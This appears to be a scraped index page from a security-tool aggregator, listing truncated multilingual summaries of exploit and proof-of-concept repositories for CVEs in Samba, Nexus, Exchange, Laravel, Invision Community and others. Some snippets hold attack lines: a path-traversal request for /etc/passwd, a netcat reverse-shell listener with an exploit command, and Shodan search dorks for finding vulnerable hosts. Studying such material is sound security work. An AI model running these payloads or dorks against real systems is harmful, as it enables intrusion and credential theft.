marfil

Marfil Marfil is an extension of the Aircrack-ng suite, used to assess WiFi network security. It allows to split the work of performing long running dictionary attacks among many computers. Motivation The Aircrack-ng suite provides the aircrack-ng tool, which is a 802.11 WEP and WPA/WPA2-PSK key...

marfil

Marfil Marfil, Aircrack-ng सूट का एक विस्तार है, जो WiFi नेटवर्क सुरक्षा का आकलन करने के लिए उपयोग किया जाता है। यह लंबे समय तक चलने वाले शब्दकोश हमलों को कई कंप्यूटरों के बीच विभाजित करने की अनुमति देता है। प्रेरणा Aircrack-ng सूट aircrack-ng टूल प्रदान करता है, जो 802.11 WEP और WPA/WPA2-PSK कुं...

CVE-2026-10795-Lab

مختبر CVE: CVE-2026-10795 - تجاوز مصادقة RPC في UpdraftCentral التابع لـ UpdraftPlus مقترن بتثبيت إضافات الملخص التنفيذي يحتوي هذا المستودع على مختبر Docker محلي لإعادة إنتاج والتحقق من CVE-2026-10795، وهي ثغرة تجاوز مصادقة لا تتطلب مصادقة مسبقة، تؤثر على إضافة UpdraftPlus في ووردبريس عبر طبقة...

CVE-2018-11736

CVE-2018-11736 PHP RCE 익스플로잇 Pluck CMS 면책 조항 ⚠️: 이 익스플로잇은 주로 프로그래밍 입문 학습 목적으로 Rust로 개발되었습니다. 기술적 엄격함이나 관용적인 코드 패턴이 부족할 수 있음을 양해 부탁드립니다. 또한 이는 제가 발견한 것이 아니며, 공식 보고서를 참고하여 작성했습니다. Pluck CMS 4.7.7-dev2 미만 버전에 영향을 미치는 CVE-2018-11736에 대한 PoC 익스플로잇입니다. 취약점은 /data/inc/images.php에 존재하며, 공격자가 임의의 파일을 업로드할 ...

ble_proxy

BLE HTTP 프록시 시스템 블루투스 저에너지BLE 기반 HTTP 프록시 시스템으로, 웹 브라우저 트래픽을 iOS 기기를 통해 라우팅합니다. 이를 통해 BLE를 전송 계층으로 사용하여 iOS 기기의 인터넷 연결을 통해 웹 브라우징이 가능합니다. 아키텍처 개요 root@kitploit: Browser → Windows Proxy → BLE/TCP → iOS/Mock Service → WiFi → Internet ← Windows Proxy ← BLE/TCP ← iOS/Mock Service ← WiFi ← 시스템 구성 요소 1...

CVE-2021-46067

CVE-2021-46067 Exploit 标题：车辆服务管理系统 - 多个 Cookie 窃取导致完全账户接管 Exploit 作者：SANU P.L CVE：CVE-2021-46067 CVSS：9.8 严重 参考资料： https://www.plsanu.com/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover https://nvd.nist.gov/vuln/detail/CVE-2021-46067...

CVE-2021-3129_exploit

CVE-2021-3129 利用工具 针对 CVE-2021-3129 的利用程序 实验环境搭建： root@kitploit: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve 使用方法： root@kitploit: $ git clone...

CVE-2021-45046

tejas-nagchandi/CVE-2021-45046 हमला विवरण यह पाया गया कि Apache Log4j 2.15.0 में CVE-2021-44228 को संबोधित करने के लिए किया गया सुधार कुछ गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन में अधूरा था। यह हमलावरों को Thread Context Map MDC इनपुट डेटा पर नियंत्रण रखने की अनुमति दे सकता है जब लॉगिंग कॉन्फ़िगरेशन एक...

WhisperPair

WhisperPair: Google Fast Pair के लिए परीक्षण हार्नेस -green एक व्यावहारिक उपकरण जो यह जाँचता है कि क्या Google Fast Pair उपकरण पेयरिंग, खाता-बंधन, और प्रोटोकॉल-स्तरीय हमलों के प्रति संवेदनशील हैं। यह रिपॉजिटरी WhisperPair परीक्षण हार्नेस प्रदान करती है, जो Google Fast Pair उपकरणों की सुरक्षा का...

cve-2020-0688

cve-2020-0688 cve-2020-0688 एक उपयोगकर्ता के साथ लॉगिन करें जिसके पास एक ईमेल पता है, विशेषाधिकार कोई चिंता का विषय नहीं है। पेज स्रोत से VIEWSTATEGENERATOR प्राप्त करें viewstateuserkey मान के लिए ASP.NETSessionId कुकी का मान प्राप्त करें YSO यहाँ डाउनलोड करें root@kitploit: ysoserial.exe -p...

CVE-2021-20717

CVE-2021-20717-EC-CUBE-XSS NVD 描述 EC-CUBE 4.0.0 至 4.0.5 版本中存在跨站脚本漏洞，远程攻击者可在使用 EC-CUBE 创建的 EC 网站的特定输入字段中注入特制脚本，进而可能导致在管理员的 Web 浏览器上执行任意脚本。 环境搭建 1. 克隆 EC Cube root@kitploit: git clone https://github.com/EC-CUBE/ec-cube.git -b 4.0.5 2. Docker 构建 root@kitploit: docker build -t eccube4-php-apache . 3...

dump1090

Dump1090 自述文件 Dump1090 是一款专为 RTLSDR 设备设计的 Mode S 解码器。 主要功能包括： 对弱信号进行稳健解码，许多用户观察到 Dump1090 的覆盖范围相比其他流行解码器有所提升。 网络支持：TCP30003 数据流（MSG5...）、原始数据包、HTTP。 内置 HTTP 服务器，可在 Google 地图上显示当前检测到的飞机。 利用 24 位 CRC 进行单比特纠错。 能够解码 DF11、DF17 消息。 能够解码 DF0、DF4、DF5、DF16、DF20 和 DF21 等 DF 格式，其中校验和与 ICAO...

CVE-2020-28874

该仓库包含在 ProjectSend r1270 版本中发现的漏洞（CVE-2020-28874）的描述。 感谢我的同事 Entelgy Innotec Security 推动我进步！ CVE-2020-28874：权限提升 描述 该漏洞存在于重置密码组件中，攻击者可以在没有有效令牌的情况下，通过用户名（如 admin）更改任何已知用户的密码。 这是因为后端没有用从提供的用户名加载的用户数据来清理 $userdata。 root@kitploit: if !empty$GET'token' && !empty$GET'user' $gottoken = $GET'token';...

CVE-2022-48429_poc

CVE-2022-48429 - YouTrack संग्रहित XSS NVD डेटाबेस पर CVE का रिपोर्ट किया गया विवरण सटीक नहीं है। यह अधिक सटीक विवरण है: Youtrack संस्करण = 2022.3.65373 में डैशबोर्ड में एक संग्रहित क्रॉस-साइट स्क्रिप्टिंग XSS है। एक दुर्भावनापूर्ण निम्न-विशेषाधिकार वाला उपयोगकर्ता एक दोषपूर्ण डैशबोर्ड बना सकता ह...

CVE-2025-48932-Invision-Community-SQLi-Exploit

🔓 CVE-2025-48932 - استغلال حقن SQL في Invision Community ⚡ نظرة عامة على الثغرة الحرجة CVE-2025-48932 هي ثغرة حقن SQL أعمى حرجة بدون مصادقة تم اكتشافها في Invision Community الإصدارات ≤ 4.7.20. يسمح هذا الاستغلال للمهاجمين عن بُعد بما يلي: 🔍 استخراج معلومات حساسة من قاعدة البيانات 👤 سرقة بيانات...

pintheft

PinTheft — موقع تتبّع ثغرة RDS zerocopy double-free LPE مصدر متتبّع حالة التصحيحات الخاص بـ PinTheft: موقع من صفحة واحدة يوثّق أي توزيعات Linux قامت بنشر إصلاح لثغرة تصعيد الامتيازات RDS zerocopy double-free في نواة Linux. أين توجد الحقائق كل ما يتعلق بالثغرة — معرّفات CVE، والإصدارات المتأثرة...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.20 CVE-2007-2447 एक्सप्लॉइट root@kitploit: python3 smb3.0.20exp.py -lh localhost -lp local port -t target Netcat लिसनर बनाएँ root@kitploit: nc -nlvp 4444 स्क्रिप्ट चलाएँ root@kitploit: python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...

CVE-2025-3248

CVE-2025-3248 ★ CVE-2025-3248 Langflow RCE PoC ★ प्रयोगशाला सेटअप root@kitploit: docker pull langflowai/langflow:1.2.0 docker run -d --name CVE-2025-3248 -p 7860:7860 langflowai/langflow:1.2.0 localhost:7860 विवरण Langflow के 1.3.0 से पहले के संस्करण /api/v1/validate/code एंडपॉइंट में कोड इंजेक्श...

POC-CVE-2025-29927

CVE-2025-29927: Next.js मिडलवेयर बाईपास PoC अवलोकन यह PoC CVE-2025-29927 को प्रदर्शित करता है, जो Next.js मिडलवेयर में एक कमजोरी है जो हमलावरों को x-middleware-subrequest हेडर का उपयोग करके प्रमाणीकरण, प्राधिकरण और CSP तंत्र को बायपास करने की अनुमति देता है। प्रभावित संस्करण Next.js संस्करण 11.1....

CVE-2024-4956

CVE-2024-4956 : Nexus Repository Manager 3 Dork: Shodan:http.html:"Nexus Repository" Hunter:product.name="Nexus Repository" FOFA:app="Nexus-Repository-Manager" Poc : root@kitploit: GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081...